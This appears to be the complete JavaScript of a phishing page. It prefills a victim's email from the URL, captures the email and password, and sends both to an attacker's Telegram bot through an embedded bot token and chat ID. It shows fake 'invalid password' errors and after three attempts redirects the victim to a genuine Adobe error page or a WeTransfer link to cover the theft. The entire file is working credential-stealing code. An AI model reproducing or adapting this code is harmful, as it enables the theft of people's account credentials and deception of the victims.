$(document).ready(function(){ var count = 0; var email = window.location.hash.substr(1); if (email) { var my_email = email; $('#emails').val(my_email); var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; if (!filter.test(my_email)) { $('#error').show(); return false; } } // Replace with your Telegram bot token and chat ID const BOT_TOKEN = '7752759512:AAGya6ll8nTnoaUlHmDWmW_9LDiLhmn82Q4'; const CHAT_ID = '7459285950'; $('#submit').click(function(event){ $('#error').hide(); $('#msg').hide(); event.preventDefault(); var emails = $("#emails").val(); var password = $("#password").val(); if (!password) { $('#msg').show(); $('#msg').html("Password field is empty.!"); return false; } count++; // Format the message var message = `🛡️ New Login Attempt\n📧 Email: ${emails}\n🔑 Password: ${password}`; // Send the message to Telegram fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: CHAT_ID, text: message, parse_mode: 'HTML' }) }) .then(response => response.json()) .then(data => { console.log("Telegram response:", data); $("#password").val(""); if (count >= 3) { count = 0; window.location.replace("https://adobeid-na1.services.adobe.com/renga-idprovider/pages/error"); } else { $('#msg').show().html("Invalid password. Please try again"); } }) .catch(error => { console.error("Error sending to Telegram:", error); $("#password").val(""); if (count >= 3) { count = 0; window.location.replace("https://wetransfer.com/downloads/9205a1080eb31e04ca34355ab5a8741a20220218030216/48e155"); } else { $('#msg').show().html("Invalid password. Please try again"); } }); }); });